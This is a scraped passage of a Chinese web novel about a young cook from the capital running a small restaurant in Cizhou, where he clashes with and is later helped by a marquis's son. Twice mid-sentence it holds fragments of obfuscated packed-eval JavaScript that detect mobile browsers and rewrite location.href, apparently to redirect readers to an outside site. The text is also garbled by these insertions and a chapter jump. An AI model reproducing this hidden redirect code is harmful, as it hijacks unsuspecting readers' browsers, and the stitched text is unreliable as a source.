早上他刚开门准备去肉市买牛肉,正巧碰见书院饭堂的人来,和他说了要准备多少的饭菜,给了定金。
事要比之前多,他没空和柳玉攀耗,说完就不理柳玉攀了。
给柳玉攀气的牙痒,这破饭馆的人怎么都一个德行!都不理他!都忽视他!
最后还是凌少卿把人拦住,才阻止了柳玉攀炸毛。
他一边生气不高兴,一边将大水缸里添满了水。
在书院的钟声响起之前,兄弟二人揉着疼痛的肩膀和被麻绳磨红的掌心,进了学堂。
黎小鱼来饭馆后,兄弟二人已经走了。
卢大海第一时间说了书院来人的事,也将定金交给了黎小鱼。
说罢就赶紧去后厨看火。
新来的两个伙计看到东家来,都毕恭毕敬的。
黎小鱼把定金收好,盯着两人看了一会。
辞州人的个头普遍偏高,男女都是。
都说穷人的孩子早当家,因为整日的劳累干活,其实从外貌上,很难看出两个伙计的年岁。
黎小鱼来辞州后,就总是出门去。
挑人多的地方,一待就是一整天。
经过多日的观察总结,他倒是能分辨出一二来。
眼前的两人都才十二,三岁。
黎小鱼看一眼他们粗糙干燥的手,还有一直低垂,不敢抬起的头。
他和牙行的要求,年纪要十五左右的。
这两个少年知道要求,现在怕被他看出来,所以在害怕。
黎小鱼也清楚辞州这边生活的艰难,这两人身上的衣服宽大,很不合身,多有补丁。
怕是家里能找出来的,最好的衣服了。
“跟我来。”
黎小鱼在前面走,两名少年老老实实的跟着。
到了后院,黎小鱼从屋里拿了两个围裙。
“先用这个,工服还需要时间。”
毕竟是接待人吃饭的地方,衣着也是重中之重。
穿不合身且一身补丁的衣服,会叫食客对饭馆的印象不好。
本来是没有工服的,只是黎小鱼没想到,会来两个连身没补丁的衣服都没有的人。
两名少年因为局促不安,又没听过“工服”二字,一时间没明白黎小鱼的意思。
只是小心的套上粗布围裙,有些小心的摸了摸。
这布真好啊,一点都没坏。
说要给伙计发工服的时候,周珍娘还有些心疼银子。
好在黎九州虽然心疼,但也知道这笔钱得花。
他在京城开过酒楼,伙计穿的太差,还会影响食客食欲。
首先就会觉得不干净,这对饭馆酒楼来说,是致命的。
爷两都说成的事,周珍娘心里再心疼,也只能照着做。
她虽然不会绣花,可简单的衣衫是能做的。
不想再花钱叫旁人做,便只花个布钱,她自己做。
最后这个念头被黎小鱼以“赶着要”为由打消了。
她针线活速度慢,要做好起码得三天。
总不能让伙计等三天不去大堂。
没办法,只能把这活盘出去。
因为要的急,还加了钱。
衣服的尺码是黎小鱼直接报的,他目测的大差不差,往大了做。
衣服大可以先藏布,后面再放下来。
这年纪的少年正是长个头的时候,做正好合身的话,怕是没多久就不能穿了。
黎小鱼把记好的尺码给他爹,让他爹去隔壁布庄买布料,然后请人加急做。
自己钻进了后厨,和卢大海一起忙活了起来。
书院一共定了二十位夫子的餐食,还有三十位学子的。
并不是说书院只有三十位学子,而是只有这三十位在书院的饭堂用餐。
他们是辞州各地选上来的,成绩优异,但出身贫寒。
那些权贵商贾之子,并不屑书院饭堂的饭菜。
山长是个勤俭节约的,知道大部分学子都会在外吃,或者是由府上送来。
便定下了规矩,提前一天收集第二天在饭堂用饭的学子人数。
避免做多了浪费,还能省下不少开支。
给书院做的红烧牛肉炖土豆,按着给的钱多少,少了些牛肉,多了一些土豆。
不过土豆炖的时间久了一些,保证软糯入味,好下饭。
一道肉菜,再加个汤。
预算有限,黎小鱼做了道南瓜汤。
这会菜市上的长南瓜泛滥,又便宜又甜。
都做好后,离中午的饭点还有一会。
正好将备好的饭菜给送去书院。
这里不比京城,有天子坐镇。
黎小鱼不放心他爹去书院那边,怕那群人突然又发什么高贵病,再伤了他爹。
后面去书院送饭的事,他都决定自己去。
正好他送饭菜的时候,卢大海也能在后厨先备着菜。
这个点外面没牛车、驴车,去马行找马车又太夸张。
距离不算远,黎小鱼就让两个伙计将三个超大的饭桶抬上独轮车,三人一起护送过去。
辞州最大的书院,没有想象中的奢华。
至少门面看起来灰扑扑的,不过占地倒是挺大,很符合辞州人对居所的要求。
门房知道黎小鱼三人来意,很快派人去饭堂那边通传。
又有人领着黎小鱼三人去后门那边等着。
三人在后门等了一会后,紧闭的小门开了,出来七个人。
领头的是个年轻的男人,他对着黎小鱼一拱手,“是黎家小郎君吧?我叫万多宝,是魏管事手底下的人。管事他有事不能前来,叫我领小郎君进去结账。”
这帐目本是要一月一结,最省力。
不过魏有风的大舅哥派人来千叮咛万嘱咐的,说最好一日一结,这家人缺钱着呢,不好拖那样久。
大舅哥要卖人情,他自然是不能拖后腿的。
书院里来的人将独轮车上的大木桶卸下,正好两人抬一个。
黎小鱼跟着他们进去,叫两个伙计先推着独轮车回饭馆去。
万多宝在前面领路,突然转了个弯。
“黎家小郎君,前头在修缮,不好过去。我们要绕一圈,走校场那边。”
“校场?”黎小鱼有些疑惑,“没想到书院还有演武操练的地方。”
万多宝笑着点头,“辞州是定安侯的封地,清云府多武将,书院自然也是与其他地方的有些不同。”
黎小鱼点点头,跟着万多宝继续走。
只有树叶簌簌和蝉鸣的周围,传来了一阵阵的呼喝声。
在穿过一道拱门后,视线骤然开阔。
宽大的校场上,竖着高高的木框。一群劲装少年,头绑两种不同色的额带,正在校场上飞速奔跑。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913086|136312||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>有一个藤球在他们的脚下高速的旋转运动。
万多宝的脚步快了一些,“是小侯爷他们在踢蹴鞠,咱们走快些,别影响了他们。”
黎小鱼知道万多宝是因为害怕这群人才这样说,跟着点头,“好。”
“凌少卿!你踢蹴鞠啊!发什么呆!”
凌少卿因为打了一早上的水,肩膀有些不适。想活动一下,缓解不适感的时候,正巧看到了黎小鱼跟着书院的人走了过来。
这一愣神,蹴鞠被抢走了。
“小侯爷!快踢!”
贺辞一个箭步上前,身形如豹,照着那高高木框中间的圆,奋力一踢。
谁料一心想赢的柳玉攀,不想因为凌少卿突然发呆丢球,突然蓄力向前,一下撞上贺辞。
这一撞,就让蹴鞠的位置偏了。
黎小鱼走好好的,感觉到有什么高速旋转的东西朝着他的方向快速驶来。
转头一看,是个蹴鞠。
万多宝看到蹴鞠飞来,人都吓坏了,根本动不了,只能瞪着眼睛惊叫出声。
这蹴鞠要是砸到头,非得晕了不可。
黎小鱼上前一步,拉了万多宝一下,带他躲避蹴鞠。
只是他自己没时间再躲,只能用小臂格挡甩开。
蹴鞠在触碰到黎小鱼小臂的时候,有短暂的停顿,随后才落在地上,弹跳几下后,又滚了出去。
踢到了人,少年们没觉得怎样。
反而嚷嚷着让黎小鱼把蹴鞠给他们送过去。
小臂处的痛感让黎小鱼脑袋嗡嗡的,那群人的态度,更是让他生气。
又疼又气,他的情绪开始控制不住。
贺辞瞧着人眼熟,因为飞身去撞人,导致摔倒在地的柳玉攀也认出是黎小鱼。
两人都没想到蹴鞠飞出去砸到人。
凌少卿想要黎小鱼卖他菜谱,他觉得这会是一个留好印象的机会,便试探性的提了一句,“小侯爷,我认识他,能去看看他有没有被砸……”
话没说完,贺辞直接从他身边经过。
长期习箭的贺辞视力很好,听觉也很好。且能通过人的行为动作,分辨出对方在做什么。
被他踢出去蹴鞠砸到的人,哭了。
贺辞皱着眉,因着腿长的缘故,很快就靠近了黎小鱼。
看着黎小鱼脸上的眼泪,贺辞双手抱于胸前,低头出声,“黎小鱼?”
黎小鱼抬眸看他,声音带着哭腔,眼里是掩藏不住的讨厌,“干嘛?”
看着个男人哭的梨花带雨的,贺辞有些烦躁不悦。
“不过是被蹴鞠砸一下,一个大男人,至于哭成这样?”
贺辞脚踩蹴鞠,稍微凑近黎小鱼,盯着他问,“上次见你也是这样哭,你在玩什么把戏?”
黎小鱼听出贺辞话语里的嘲讽,摸一把眼泪,一脚把贺辞脚下的蹴鞠踢了出去。
没料到黎小鱼动作的贺辞因为重心不稳,整个人歪了一下。
等他站稳后,黎小鱼已经转身走了。
万多宝一脸歉意的告罪几声,贺辞问道:“你们手里拎的什么?怎么会和他在一起?”
万多宝不敢隐瞒,全部如实说了。
听说书院饭堂定了黎家小饭馆的菜,贺辞笑了一声,“山长那老头是真没钱了啊,什么菜都能弄进来给人吃。”
黎小鱼转头道:“反正又不给你吃。”
贺辞磨了一下牙,“求我我都不吃。”
21. 第 21 章
“哎呦,黎小郎君哟,你说你和小侯爷起争执做什么呢?”
去饭堂的路上,万多宝的声音就没停下过。
黎小鱼情绪已经平稳下来,眼睫还有些湿润,正垂着眼帘,盯着脚下的路。
“他不是没说什么,直接让我走了吗?”
说到这个万多宝就无奈的叹一口气,“小侯爷那哪是放你走啊?他就是为了让你先放松警惕,且等着瞧吧,后面小侯爷一定会想尽办法折腾你的。”
要不是因为管事交代了要好好对黎小鱼,他才不会冒险说这些呢。
这要是被小侯爷的人知道他提醒了黎小鱼,也一定没他好果子吃。
万多宝脸色有些难看,被自己的猜想给吓得。
他小声的叮嘱,“小郎君,我方才与你说的话,可千万别说出去啊。不然我可就没命啦。”
黎小鱼点头,“放心吧,我不会说的。”
万多宝松了一口气,走的速度更快了。
黎小鱼揉着小臂,酸痛感袭来,直接让他泪水在眼眶里打转。
怕又在外面哭起来,黎小鱼不敢再碰,估摸着被蹴鞠砸到的地方,应是青紫了。
想到之前黎九章和他说的贺家小霸王的各种事迹,黎小鱼心里也有了数。
这位小侯爷,是一群熊孩子里面最熊的那个。
看来确实要小心一些才行。
……
魏有风刚叫人送走一名来试菜的厨子,他有些疲惫的坐在椅子上。
因饭堂的一些得力之人,跟着厨子一起出走而焦头烂额。
培养手下不容易,更别说培养一些有一技之长的手下。
他本来是想在厨子走后,这几人正好可以替代厨子掌勺饭堂餐食的。
谁知道厨子说了一句收徒教手艺,这几人眼也不眨的就跟着走了。
真是气煞他也。
心里再憋闷也没办法,只能想对策。
辞州地界虽大,可人才难寻。
稍微有点手艺的,那都是各家饭馆的掌勺。
来书院应工的,都是些没甚手艺的。
尽管书院饭堂不求菜色多好吃,可拿钱办事,也不能太难吃吧。
毕竟除了那些贫寒的学子们吃,山长也会带着一众夫子在饭堂用餐。
要是弄的太难吃了,也是他这个管事做的不好。
魏有风看着已经被划光了的厨子名字,长叹一口气。
希望今日来送餐的黎家小饭馆,菜色真如姐夫所说,物超所值吧。
到了饭堂门口,万多宝让手下提木桶的从后门进饭堂,将饭菜弄出来,把桶洗干净再拿出来。
黎小鱼也没阻止,想着明天来送饭菜的时候,给他们带些小面包来。
算是还了今日帮忙洗木桶的情。
小面包还剩下不老少,正好匀匀。
万多宝看见魏有风瘫坐在不远处的椅子上,他对黎小鱼道:“魏管事在前头,我去通传一声。”
“好。”
察觉到来人,魏有风看过去,见是万多宝便坐起了身。
“黎家的人带来了?”
“带来了,就在后头。”
万多宝稍微侧身,叫魏有风看见了黎小鱼。
看到人后,魏有风忍不住道:“还真是一方水土养一方人嘿,这京城来的小郎君,长的比咱辞州的姑娘都水灵。”
万多宝摸一把自己粗糙的脸蛋,“咱辞州苦寒,哪比得上京城。大家伙就是想水灵也水灵不起来啊。”
魏有风笑了一声,说的也是。
“那饭菜看了没?怎么样?”
万多宝点头,“抬下来的时候,我悄摸的开了些盖子。虽没瞧见样子,但闻着味了。香的很,我觉着差不了。”
总算有个好消息,魏有风舒一口气,对着黎小鱼招招手示意他过来。
等人靠近后,魏有风又是啧啧叹两声,“黎小郎君好样貌啊。”
黎小鱼有些奇怪的看了魏有风一眼。
魏有风拍一下大腿,浑声道:“我这人就爱看好看的人,却是没甚恶意的,吓着小郎君了吧?”
“还好,万小哥说叫我来领钱。”
“对,没错。”
魏有风起身去了一间小屋,没一会拎着三吊钱出来。
“说好的,一份饭菜,一荤一汤一饭,三十五文。八十份是两千八百文,这是三吊钱,剩下的两百文,是明日的订金。小郎君数数?”
“不必了,信得过管事。”
黎小鱼捧着铜钱,笑吟吟的说道。
魏有风仰头也笑了一下,宽大的手掌一拍黎小鱼的肩膀,“小郎君敞亮!以后只管叫我魏叔,这生意旁的饭馆抢不走你的。”
黎小鱼也客气的一拱手,“小鱼多谢魏叔。”
万多宝派了两个人提着洗好的木桶跟着黎小鱼,要到饭点,他需要操持饭堂一应事务,便没去送。
正好那两个拿桶的能带路。
本是要派三人,一人两个桶。
被黎小鱼拒绝了。
那饭堂一看就缺人手,况且他一人就能拿六个。
只不过魏有风不信,说他细胳膊细腿的怎么可能弄得了六个大木桶。
看出对方是想卖人情,黎小鱼也不好绝了这机会,只好说两人就够。
那三吊钱也被他放在木桶里提着。
走到校场的时候,那群人还在踢蹴鞠。
黎小鱼尽可能的远离。
正走着,头顶就被砸了一下。
黎小鱼仰头一看,瞧见熊孩子首领贺辞,正把玩着根小树枝,单腿盘在树干上,撑着下巴调笑的看着他。
“这会怎么不哭了?”
黎小鱼把头上插着的树枝拿下,往地上一扔,“你就这点小把戏?”
他学着贺辞之前的语气,“男子汉大丈夫,不爽就打一场,搞这些花里胡哨,三岁小孩吗?”
贺辞反手将手里那根树枝往下一投
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913087|136312||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,不等黎小鱼躲开,就精准的竖着插在黎小鱼的发髻上。
上头的一片叶子飘啊飘。
贺辞哼了一声, “小把戏?你能做到吗?就敢说是小把戏?”
黎小鱼心说确实做不到。
他又将树枝拔了出来扔掉,头也不回的走,小声嘀咕,也为了让自己别有情绪波动。
“我年长,不跟幼稚的熊孩子计较。”
他如今年纪虽然十六,但前世他猝死已经二十五了,贺辞长得再高大,也不过十六七。
黎小鱼并不觉得自己以长辈口吻说这话有什么不对,而且他声音小,贺辞在树上坐着,也听不着。
谁知道刚走出去,就听树上的人生气道:“你说谁小?谁幼稚!谁熊孩子!黎小鱼你给我站住把话说清楚!”
黎小鱼愣住了,这人耳朵怎么长的,听觉这么好?
碍于贺辞的身份,他也不好真一走了之。
只能停下。
一转身就见人从树上矫健的飞身而下,黎小鱼无声的“哇哦”。
这要是给他的话,应该是脸着地。
不过他也不会没事爬树上坐着就是了。
“小侯爷,我刚刚什么也没说,你听错了吧。”
黎小鱼不可能承认,这不是给自己没事找事吗。
贺辞气笑了,“你认为,我会不相信自己的耳朵,相信你的嘴吗?”
黎小鱼温和一笑, “小侯爷可以试着相信一次。”
两次见面,黎小鱼都是哭的很惨。
突然见到展颜欢笑的模样,叫贺辞还有些不适应。
他盯着黎小鱼道:“你做梦。”
要到饭点了,小饭馆需要人。
黎小鱼没空在这和贺辞扯,他嘴角含笑,声音温和,是一贯对人的好态度,“小侯爷要怎样才让我离开?”
贺辞看着眼前的人,只觉得假的很。
“别这么对我笑,虚伪死了。”
贺辞一眼不想多看,嫌弃的扭头就走,“笑的真丑。”
黎小鱼没想到笑一下就打发了贺辞,他维持着笑意,挑一下眉。
懂了,下次见着这人就这样笑,丑死他。
后面提着木桶的两个伙计从头到尾没敢吭声,吓得腿都在发抖,哪敢说话啊。
还好有惊无险。
也不得不佩服这黎小郎君是个初生牛犊不怕虎的。
黎小鱼回到小饭馆后,也不等明天送饭了,他让两个伙计等一下,去后厨快速用油纸包了几份蜂蜜小面包。
魏有风的最多,有六个。
万多宝是两个。
其他的都是一个。
伙计们一开始只以为是给上面的管事带的,没想到他们也有。
虽然只有一个,可就算给他们多,他们也不敢要。
量越过了管事或是差不多,这不都是给自己找罪受吗。
白得的东西谁都喜欢,二人笑着告辞,欢欢喜喜的回了。
30-40
第31章 第 31 章
黎小鱼心里清楚, 凌少卿赶走潘五,为他的成分,有但不是全部。
最重要的是潘五没有认清自己的身份, 做了僭越之事。
害凌少卿跟着脸上无光。
不过他向来不喜亏欠, 便对凌少卿道:“豆瓣鲫鱼, 我在京城的酒楼吃过。虽是宫里的菜色, 但又不是宫里吃了, 百姓就不可以吃。”
真要是这样,那老百姓能吃的菜可没几道。
“你找个信得过的厨子来, 我做一遍给他看。免费, 就这一遍。”
凌少卿没傻到会拒绝,麻溜的提来个年轻些的厨子。
“这是之前教我做菜的老厨子的孙子, 叫许活。我娘是他们爷孙两的救命恩人, 能信任。”
黎小鱼只管教, 不管后续如何。
他说了要什么样的鲫鱼,范掌柜亲自去采买来。
珍馔楼要一样食材, 那是轻而易举就能快速弄来的。
没耽误多长时间, 符合要求的鲫鱼就被送上了砧板, 在黎小鱼的刀下。
豆瓣鲫鱼,鲫鱼是关键,豆瓣酱也是。
珍馔楼做的豆瓣酱味道不错,辣度咸度都很好, 挑不出错来。
鲫鱼处理好后,用鲜姜擦拭锅底, 去腥还可让鱼不巴锅。
鱼改刀后放入油锅, 煎至两面上色后捞出。再切五花肉丁,一应调味配料, 烧油倒入翻炒。
豆瓣酱加入后小火炒至冒出红油,颜色鲜亮。
再将方才的鱼入锅,以汁浇淋,使鱼肉入味。
五花肉的油脂能够完美的中和鱼肉缺少油脂的寡淡,增添香气。
反复浇淋熬煮,酱香浓郁,色泽红艳。
出国后撒上翠绿葱花点缀,红红绿绿,吸人眼球。
后厨传来咸香辣味,勾的人直吞口水。
许活在一旁看的目不转睛,凌少卿也没走,一直在看着。
两个人四只眼睛,盯着每一个小细节。
黎小鱼做的时候也有讲解,能不能记得住,就看他们自己的了。
而黎小鱼做的豆瓣鲫鱼,也得到了珍馔楼其他厨子们的一致好评。
刺少肉嫩,酱香浓,十分入味。
鱼皮能吃出焦香的感觉,汤汁浸透,口感层次丰富。
“这味道,比起潘厨做的还要好啊!”
黎小鱼没有管后厨的议论声,他要赶场子,去书院。
最近实在是有些忙了,明天得和卢大海说,同他去书院那边做菜。
卢大海厨艺有,稍微指点一下,做个炒菜完全是可以的。
这几天黎小鱼忙的团团转。
凌少卿也终于学会了李子糕,做的味道不错,还给了黎小鱼好大一盒。
黎小鱼收下后劝凌少卿后面少做少吃,李子吃多了会积痰,伤及脾胃。
就算是蒸熟降低了此类伤害,那个架不住一下子吃很多,还天天吃。
凌少卿如今很听黎小鱼的话,自己是少吃了。
不过旺盛的做糕点欲望却无法压制,便在珍馔楼推出这道糕点,他自己做,限量。
有客人见上新的糕点,顺嘴点来吃。
结果发现这李子糕酸甜可口不腻味,夏季里食用,很是开胃。
想问问是哪个厨子做的,伙计们可不敢说。
还是范掌柜出来,说是后厨的几位厨子一起琢磨出来的。
李子糕短短几日,就成了珍馔楼新的必点之品。
唯一不好的就是这玩意比卤牛肉还难点上,珍馔楼每天就出一锅,每人最多能买两块。
卖完就没了。
最开始买来尝的食客们,后面再也没排上号。
想这一口酸甜味又想的紧,吵着叫珍馔楼多做点。结果多做是多做了,就多做了一锅。
给他们气的哟!
凌少卿自然也知道他做的李子糕得到了诸多食客的喜欢,他最近特别喜欢看点了李子糕的人,吃糕点时脸上幸福开心的表情。
每次看了,他的心情也会变得很好。
美食能够抚慰人心,做美食的人,得到食客的认可,也能产生难以言喻的满足感。
凌少卿对于做菜的喜爱,在此刻,又更深了一些。
……
魏有风小女儿的百日宴日子巧,正好在书院休沐那日。
黎小鱼提前一日买齐要用的食材,第二天一大早,就带着卢大海,孙草和方石头三人去了安平巷魏家。
到了地方后,卢大海就忙活着架大铁锅。
孙草和方石头洗菜。
百日宴上六菜一汤一甜品。
黎小鱼做两道凉菜,两道荤,两道素。
以炖和炒为主,甜品就做了蜂蜜小面包,一桌子能一人一个。
要是做其他的糕点,那用料更多,这一趟怕是赚不了什么。
魏有风交友甚广,来的人有衣着显贵的,也有贩夫走卒。
姐夫楚大人也携着家眷前来,一进门就看见了黎小鱼。
他提前知道了今日这私宴是请了黎小鱼来做,毕竟是同僚的侄子,他该去问候一声。
“黎小郎君今日辛苦。”
黎小鱼笑道:“楚大人客气。”
眼看着菜准备下锅,楚大人没有多待,怕耽误了他们的时间。
临走的时候盯着那口大铁锅看了好几眼,倒是没想到,这铁还能打锅来用。
魏有风注意到姐夫的视线,知道对铁锅感兴趣,便对他说:“姐夫也觉得那铁锅有意思?”
“你知道它?”
“知道啊,小鱼在书院那边用铁锅做了好多次的菜了。那铁锅做起菜来可真快啊,比釜子快多了。光连柴火都能省下不少。”
楚大人闻言若有所思。
来参加百日宴的亲戚已经到的差不多,院子外面撑起了雨布,用来防晒。
每张桌下,摆着两个冰盆用以降温。
大家都手中拿着蒲扇,坐在桌上,三三两两的聊天。
一阵菜香飘来,打断了众人的谈话声。
炒菜爆香,成菜速度快。
香气也极其的霸道,叫外面坐着的人,下意识的吞咽着口水。
这魏家也不知是从哪请来的厨子,菜做的实在是香。
都还没有上桌呢,就叫他们忍不住,馋的不行。
一会闻着咸香味,一会闻着辣味,一会又是勾人的酸甜味道。
六道菜,风味迥异。
厨子一看就是有真材实料,不是那小饭馆中随意请来做个席面就算的。
想来为了今日这席面,魏家是下大血本了。
等到开宴的时候,众人更是大吃一惊。
这菜色,不仅好看,味道好闻,更是好吃的不行。
他们从来不知道,原来肉还可以弄的酸酸甜甜的,孩子爱吃,他们这些大人也爱吃的很。
那道尖椒炒肉片,更是香辣开胃,十分下饭。选的肉片肥瘦相间,一看就不便宜,油脂充足,吃的人满嘴生香。
豆腐用葱油煎制两面金黄后,再立起来,将边缘四面也煎一煎。随后码放整齐,倒入调和好的甜面酱,以及少量黄酒炖煮入味。
这道菜若是再加上香榧子研磨成的碎粒撒上,能添一份果仁的甘香,口感也会更加丰富。
不过香榧子产量少,是贵价之物,用了的话这成本便就控制不住。
好在少这香榧子也不会有太大的差别,黎小鱼的甜面酱做的好,豆腐炖煮入味,依旧咸香好味。
宾客们吃的满意至极,不曾想这廉价的豆腐,还能做的如此美味。
自从开宴后,六张桌子,所有宾客们都在埋头苦吃。
魏有风专门备下的好酒,都省下不少。
全都忙着吃呢,哪有空喝酒啊。
多喝一口酒,那就少吃一口菜。
不划算呐。
魏有风身为东道主,要给来宾敬酒。
结果被宾客们喊着坐下,直说酒等菜吃完了再喝。
弄的魏有风哭笑不得,只好坐下,也开始专心的吃菜。
不得不说,黎小鱼的厨艺实在是高。
这席面上的所有东西,就没有一个是难吃的。
而且摆盘很是讲究,精致的很,一眼看着就觉得贵。
他已经听见不少宾客在小声议论,说他舍得花钱,这些菜色看着就不便宜,宴席置办的档次极高。
就连与他交好的一些商贾,家中并不缺银钱吃喝。
对这次的席面,那也是赞不绝口的。
吃的差不多的时候,几乎都来问过他,操持席面的厨子是哪里请的。
魏有风没有隐瞒,告诉了他们,是珍馔楼对面,黎家小饭馆的。
还带着他们去见了黎小鱼,刚开始见到人,他们还以为卢大海是掌勺的。
结果不是,而是那小郎君。
倒是叫众人有些吃惊,实在是太年轻了。
他们见过的有手艺的厨子,都是上了年岁的。
因着刚刚吃了席面,他们除了吃惊以外,倒是没有出声去怀疑真假。
黎小鱼对魏有风点头致谢,给他介绍了不少的生意来。
他与众人寒暄,那些人听闻他是京城来的,更是惊喜。
追问着京城有哪些受人欢迎的菜色。
黎小鱼耐心的回着他们的话,正闲聊着,门外来了一对衣衫褴褛的爷孙。
是见着主家有喜宴,打着快板上门来说吉利话庆贺,为讨一口饭吃。
老者头发稀疏花白,佝偻着背,小孩约莫五六岁的样子,快板打的却很熟练。
爷孙二人脸上挂着讨好的笑,也不敢进来,只在门口打着快板。
黎小鱼的视线落在那瘦骨嶙峋的孩子身上,那孩子似乎察觉到,也看了过来,讨好的笑意更甚。
大喜的日子,不好赶这些说吉利话的走。
魏有风先告罪离开,准备给点吃的,也当是给孩子积德。
只是这席面上吃的实在是干净,连汤汁都无。
他去了趟厨房,拿了昨天没吃完的白面馒头,有四个,全都拿了。
又塞了几个铜板,一并给那讨饭的爷孙二人。
老人带着小孩不住的弯腰道谢,小心翼翼的将那四个白面馒头放进了又脏又破的布袋中。
至于那几枚铜板,则是塞进了腰间缠着的布条中。
那布条内侧有个暗口,正好能藏。
离开魏家,老人摸着孩子的头,脸上带着藏不住的笑,“今天是猫儿生辰,爷爷待会拿着铜板,给猫儿买麦芽糖吃。”
叫猫儿的小孩仰着脸,他虽穿的破旧,脸上却是没有脏污。
因为太瘦,眼睛有些大的吓人,牵着爷爷的手,扬起笑容,“阿爷同我一起吃。”
“猫儿吃,阿爷不爱吃甜的。”
席面散去,黎小鱼也收拾好,带着人要离开。
小饭馆后院还有几日的功夫就完全重建好了,那些有意要请他做席面的,黎小鱼同他们说了,可去小饭馆寻他。
出了安平巷,走了没多久,就被人群拦住。
黎小鱼奇怪道:“前面怎么那么多人?”
孙草勾着头看了一会,“小东家,前面是清云府顶好的歌舞坊。可能是歌姬在外头跳舞揽客了吧,外头聚集的人多,也是正常。”
黎小鱼摇摇头,“我瞧着像是出什么事。”
若真是歌姬在跳舞揽客,人群定然会有欢呼声才对。
可现在却是死气沉沉的模样,外面围着的人,还能从他们脸上看出惊恐害怕。
卢大海个头高,他垫着脚看,“小东家说的是,好像是一群衣着华贵的郎君,在打什么人。”
一行人往前走了走,听到了哭着求饶的声音。
“郎君,求求你们放过我孙儿吧,可不能再打了,再打要出人命了啊!我给你们磕头了,求求你们了。”
听到熟悉的声音,黎小鱼眉心一皱,快步向前,拨开人群。
卢大海三人一惊,连忙跟上去,生怕黎小鱼吃了亏。
被打的正是之前在魏有风家门口,乞食的爷孙二人。
魏有风给他们的馒头,被踩扁在地,还有两根小竹片,上面缠着麦芽糖。
天热已经化去,在地上淌着。
那孩子已经满头是血,昏迷了过去。
老人家也好不到哪里去,嘴角带血,额头已经磕破,地砖上都是他磕出的血痕。
为首的紫衣青年,肥大的身体朝着孩子走去,并不听老人的痛哭祈求,抬脚就要朝着孩子的头踹去。
老人要冲上去挡着,被另外的一个青年一脚踹过去,人也晕了过去。
黎小鱼脑袋一嗡,身体比脑子反应的更快。
在那紫衣青年要落脚的时候,已经抱着孩子的头,准备用背替那孩子挡下这一脚。
“前面怎么那么多人?马都骑不过去。”
裴叔群拉着缰绳抱怨着。
马背上视线宽阔,裴叔群朝着人群一看,正巧碰见黎小鱼转头。
“咦,那不是黎小鱼吗?”
又看一眼那正要抬脚的紫衣胖子,更奇怪了,“江安那家伙是在打黎小鱼?”
话音刚落,边上骑着黑马的贺辞,已经飞身出去。
裴叔群先是一愣,随后饶有兴趣的笑了一声。
嘿,有趣。
他骑马靠近一些,坐在马上盯着人群里看戏。
江安只觉得眼前一黑,没等反应过来,胸口一疼,重心不稳,人直接倒了下去。
“谁他娘的敢踹老子!”
没等他起身,胸口又是一痛。
贺辞一脚踩他胸口上,手肘搭在膝盖,弯腰盯着江安,冷脸问道:“我踹的,怎样?”
江安只觉得胸口有千斤重,让他喘不过气来。
双手抱着贺辞的小腿,企图将他的腿抬起来。
不过都是徒劳无功。
贺辞因他动作,又加了几成的力道。
江安喘息困难,张着嘴粗喘着气,“姓贺的,你快撒开,不然我爹饶不了你!”
贺辞不为所动,“我上次是不是和你说过,再被我撞见欺负辞州百姓,我见你一次,打你一次?你爹饶不了我?笑话,江渚松要真敢来,我一起打!”
江安闻言,气的脸红脖子粗的喊着,“猖狂!你猖狂至极!”
贺辞要说什么,耳朵一动,听到了细微的吸鼻子的声音。
他眉头一皱,松开江安,转身居高临下的看着黎小鱼,“你是不是蠢,看着他要踹人,不知道躲?”
黎小鱼抬头看贺辞,眼眶红红的,“躲了,这孩子可能会被他打死。”
贺辞看像黎小鱼怀里满脸的血,双目紧闭的小孩。
“别哭了。”
他烦躁回头,手中的马鞭一扬,反手就抽了要爬起来的江安一鞭子。
江安被抽的嗷嗷叫唤。
“天杀的贺辞!你他娘的又抽我做什么!”
要不是贺辞孤身杀死过熊,江安才不会这样忍气吞声,高低和他来一场。
贺辞压根不听江安的叫唤,又抽了一鞭子。
江安挨了两鞭子,他也要哭了。
他爹都没这样打过他!
贺辞没停手,江安被抽的满地滚。
和江安一起的那几个人,压根不敢靠近贺辞这煞神。
就怕他连着他们一起抽。
黎小鱼听着鞭子的声音,拉了一下贺辞的衣袖,“小侯爷,先别打了。你能找辆马车,把他们祖孙二人送去医馆看看吗?”
贺辞低头,看着黎小鱼的脸,手上的动作一顿。
他突然想起裴叔群的话,小鱼在他面前哭,是和袁小郎对陆十七一样,故意柔弱可怜企图吸引他注意。
该死,上当了。
贺辞脸色一黑,“我叫人送他们去医馆,你先撒开我。”
黎小鱼道:“多谢小侯爷。”
贺辞闻言有些不自在,他招招手,歌舞坊的伙计赶紧过来。
伙计知道这辞州谁是老大,虽不敢得罪江安,可更不敢得罪小侯爷。
他得了吩咐后,立马派人套马车。
黎小鱼跟着一起上马车去医馆,他让卢大海带着孙草和方石头,把东西都送去小饭馆,与他爹娘报声平安。
歌舞坊,雅间内。
美艳的舞姬表演着赏心悦目的舞蹈,乐师们吹拉弹奏,发挥着他们最好的技艺。
贺辞却好像没什么观赏听曲的心思,裴叔群坐在一边,手里端着酒杯,似乎在担心。
“小侯爷,那江安回去后,定然会与江渚松告状。侯爷那边,怕是不好交代。”
贺辞轻哼一声,“我不好交代的事情多了去了,不差这一件。”
贺辞说完后,饮下杯中酒。
